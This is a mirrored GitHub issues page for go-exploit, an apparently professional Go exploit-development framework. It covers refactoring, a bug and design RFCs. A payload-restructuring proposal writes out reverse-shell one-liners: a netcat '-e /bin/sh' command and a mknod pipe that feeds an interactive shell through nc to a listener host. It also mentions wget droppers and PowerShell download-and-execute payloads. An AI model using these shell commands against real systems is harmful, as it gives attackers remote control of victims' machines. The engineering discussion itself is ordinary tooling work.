GithubHelp home page GithubHelp logo

vulncheck-oss / go-exploit Goto Github PK

View Code? Open in Web Editor NEW
235.0 11.0 29.0 514 KB

A Go-based Exploit Framework

Home Page: https://pkg.go.dev/github.com/vulncheck-oss/go-exploit

License: Apache License 2.0

Go 100.00%
exploit-development exploitation-framework go-exploit

go-exploit's People

Contributors

actions-user avatar alexandear avatar dependabot[bot] avatar j-baines avatar jesusprubio avatar l0rda avatar patrickmgarrity avatar terrorbyte avatar wvu avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

go-exploit's Issues

Change HTTP User-Agent Mechanism

We are currently using Project Discovery's library. It's great because it provides a list of new UA everywhere including the newest UA for all/most browsers. It's not so great because it includes old UA as well (and basically we compile in this huge list every time).

A better method is to grab their list, sort for the newest Chrome for Windows, and write that to a file that is pulled in to http_helper.go (really gotta rename that) via go embed. This would also remove a bunch of go dependencies.

Rename Cron package

albinolobster@mournland:~/go-exploit$ golangci-lint run --fix
payload/cron/cron.go:10:6: exported: type name will be used as cron.CronPayload by other packages, and that stutters; consider calling this Payload (revive)
type CronPayload struct{}

golangci-lint is unhappy with the cron pcakage. I want to rename it to fileplant because the current functionality is in the realm of dll planting or binary planting. @terrorbyte pointed out it's a bit of an odd name. I don't disagree but I can't think of anything better right now.

Missing Required Options Text is Wrong

./build/implant-scanner 
time=2023-10-17T08:38:32.279-04:00 level=ERROR msg="Missing required option 'rhost', 'rhosts', or 'rhostsFile'"

Should say '-rhosts-file`

Integer Overflow in CreateMqRemotingMessage function

Inside the CreateMqRemotingMessage function, there exists integer overflow where the value of int is casted into uint32 without any checks. This result in malformed package.

This code can trigger the integer overflow:

func main() {
        msg := strings.Repeat("A", 4_294_967_295-98) // max uint32
	rocketmq.CreateMqRemotingMessage(msg, 112, 1)
}

I have also added some fmt.Println inside the function so we can see the values.

Screenshot 2023-09-20 at 21 20 49

Running the code above, results in:

Screenshot 2023-09-20 at 21 21 23

RFC: go-exploit intercommunication

go-exploit was designed to create stand-alone scanners/exploits. This is, and always will be, an important part of go-exploit and what makes it unique. That will never change.

However.

Hypothetically, let's say an organization has hundreds of go-exploit implementations. They want to use those to scan a single HTTP server. Should those exploits send hundreds of HTTP GET requests to / or should they send one? Obviously, they should send one and share the response amongst themselves. Otherwise, they are being wildly inefficient.

So, in an ideal world, go-exploit would support a mechanism where the individual exploits could also share data between themselves. A (read: one possible) solution would be to introduce an optional parameter that takes in an sqlite database. HTTP requests that can be cached (or are asked to be cached by the dev) can be stuck in there, and the database could be passed around between exploits/scanners, and cached information can be pulled out as needed.

This isn't too dissimilar with how Nessus works. It has a sqlite(? I forget) DB that stores all sort of things (including some HTTP responses). I'd say the main difference is that they will store things as far down as "this version I extracted from the http interface of a synology dsm". That's sort of neat in that a plugin can be quickly written that basically says "Do we have the version from a synology dsm? Cool. Is it a vulnerable version?" But to actually run that plugin requires figuring out all the dependencies and it can be sort of a nightmare (which is, again, why stand-alone go-exploit shines).

I think that's a reasonable path forward. We could introduce specific HTTP functions that ask for caching (or just respect caching fields in normal responses? that sounds like a bad idea but worth looking at). The db could be used for passing around credentials, storing secrets, etc.

RFC: Payload Restructuring

Problem

Currently the go-exploit/payload package is used as a generic store for all payload related activities including:

  • Bind shells
  • Reverse shells
  • Payload encoding
  • "Minified" & unflattened payloads

With each of them having a OS indicator and multiple variants of types (Mkfifo vs Mknod). While this is functional (hey it's all just strings in the end), it does create a bit of an unclear structure and very long names such as WindowsPowershellHTTPDownloadAndExecute.

Solutions

There are multiple parts to solve this and clarify the structure while also allowing an "escape" hatch for retrieving the simple raw string for places when necessary as we all know that sometimes being very programmatic is harder than just slapping in a string.

I have come up with a couple of different potential options, the first of which is this proposal and the second is a thought on potential structure improvement:

  1. Separate the payloads into packages or specific types
  2. A builder pattern and some additions to the subpackages (Future work/discussion)

Split out the payloads by category

To first clearly simplify things I propose a payload type be defined in the subpackage types directly and with a default interface for cleaning up the function signature.

Something along the lines of:

  • go-exploit/payload/reverse
  • go-exploit/payload/bind
  • go-exploit/payload/dropper
  • go-exploit/payload/execute
  • and potentially a go-exploit/payload/other for components like the cron

Here's a bit of pseudocode for the reverse payload package to get an idea of how the pattern might work/be structured:

// inside reverse package
type Reverse interface {
	Default
}

type Default interface {}


type netcat struct{}
var Netcat = &netcat{}
var NetcatDefault = `nc %s %d -e /bin/sh`

func (nc netcat) Default(lhost string, lport int) string {
    return NetcatDefault
}

func (nc netcat) Mknod(lhost string, lport int) string {
	node := random.Randletters(3)

	return fmt.Sprintf("cd /tmp/; mknod %s p;cat %s|/bin/sh -i 2>&1|nc %s %d >%s; rm %s;", node, node, lhost, lport, node, node)

}

This makes the calling signature look like the following:

reverse.Netcat.Default(cfg.Lhost, cfg.Lport)
reverse.Netcat.Mknod(cfg.Lhost, cfg.Lport)
reverse.Netcat.Unflattened(cfg.Lhost, cfg.Lport)

// for other packages
bind.Netcat.Mknod(1337)
dropper.Execute.Wget(cfg.Lhost, cfg.Lport, true, "downloadme", "/url.jsp")
dropper.Write.Wget(cfg.Lhost, cfg.Lport, true, "downloadme")

This also lets us have that "escape hatch" just to get the string without the printf being applied:

reverse.NetcatDefault
fmt.Sprintf(reverse.NetcatDefault, cfg.Lhost, cfg.Lport)

I also propose moving the IFS and Brace payload encoders to go-exploit/transform or if we want to eventually create a Payload type to move them to a go-exploit/payload/transform package.

Potential Issues

  • OS specific payloads do not fit cleanly - The commands that have Linux or Windows prefixes will lack clarity and either need to keep the prefix or another additional type will need to be set up for allowing definition of which OS
  • The empty struct and var Netcat = &netcat{} feels like a weird pattern, but lets us call the functions defined on the empty struct. Maybe we could also do something like add the default value to that struct and make it accessible that way?
  • Keeping backwards compat/ensuring that payloads are generated the same for existing exploits is something that should be considered.
  • Test cases might be possible and even "unsafe" tests to generate actual payload testing harnesses and automatically validate against configurations in CI.

Future Ideas: Interface with Builder Pattern

In the future we could also work towards a builder pattern using the above layout, if it were to make sense. This would be done by defining an overarching Payload type and then a simple builder pattern with an interface. The way this would be used would allow for chaining of payload functions directly in single line:

Builder Pattern Ideas
var payload := payload.New()
// Create a netcat payload
payloadGen := payload.Technique(reverse.Netcat.Default()).String()
var payload := payload.New()
// Or create a netcat payload with the mknod variant and base64 encode it
payloadGen := payload.Technique(reverse.Netcat.Mknod(cfg.Lhost, cfg.Lport).Encode(encoders.Base64URL).String()
var payload := payload.New()
// Or create a bash payload with the mknod variant and base64 encode it
// define a `func StripFirstSpace(string) string`
payloadGen := payload.Technique(reverse.Netcat.Mknod(cfg.Lhost, cfg.Lport).Modify(StripFirstSpace(payload.String()).String()

This is a non-working little example of how that pattern might be dfined.

type Payload {
  current string
  technique payload.Technique
  platform platform.Platform
  variants string
  arch arch.Arch
}

type Technique interface {
  Default  
}

type PayloadBuilder interface {
  String() string
  Technique(payload.Technique) Payload
  Platform(platform.Platform) Payload
  Arch(arch.Arch) Payload
  Encode(encoders.Encoder) Payload
  // Maybe use a intereface and allow it access to itself?
  Modify(func(string) string) Payload
}

type payloadBuilder struct {
  payload *Payload
}

func New() PayloadBuilder {
  return &payloadBuilder{
    payload: &Payload{},
  }
}

func (payload *payloadBuilder) String() string {
  return payload.current
} 

func (payload *payloadBuilder) Technique(technique payload.Technique) PayloadBuilder {
  if variant == "" {
    payload.current = technique.default
  } else {
    payload.current = technique.Variants()[variant]
  }
  // Also set all the default values for a specific OS/Arch/Method/etc is possible
  // ie bash can set platform.UnixGeneric and arch.Generic
  // Which of course would be "impure" with side effects, but it seems more usable, would just be worth calling out that order would matter a bit
  return payload
}

// ... etc ...

A few other benefits to this would be that we could add debugger steps to the builder components to make it clear how the string is being built by outputting before/after of current.

Redefining Flags In Some C2 Configurations

I have this current c2 supported:

supportedC2 := []c2.Impl{
  c2.SSLShellServer,
  c2.SimpleShellServer,
  c2.HTTPServeShell,
}

Which causes this panic:

./build/cve-2024-4577_linux-arm64 flag redefined: sslShellServer.PrivateKeyFile
panic: ./build/cve-2024-4577_linux-arm64 flag redefined: sslShellServer.PrivateKeyFile

goroutine 1 [running]:
flag.(*FlagSet).Var(0x4000128000, {0x3d3188, 0x4000032bb0}, {0x34737d, 0x1d}, {0x34d031, 0x28})
        /usr/local/go/src/flag/flag.go:1028 +0x2cc
flag.StringVar(...)
        /usr/local/go/src/flag/flag.go:885
github.com/vulncheck-oss/go-exploit/c2/sslshell.(*Server).CreateFlags(0x4000032ba0)
        /home/albinolobster/go-exploit/c2/sslshell/sslshellserver.go:55 +0x70
github.com/vulncheck-oss/go-exploit/c2/httpserveshell.(*Server).CreateFlags(0x4000066140)

The reason is that c2.HTTPServeShell is a wrapper around c2.HTTPServeFile and c2.*ShellServer. This exploit already has an implementation of c2.SSLShellServer that invokes CreateFlags, so c2.HttpServeShell triggering it again is a no go. Simple solution is to wrap CreateFlags with a nil check.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.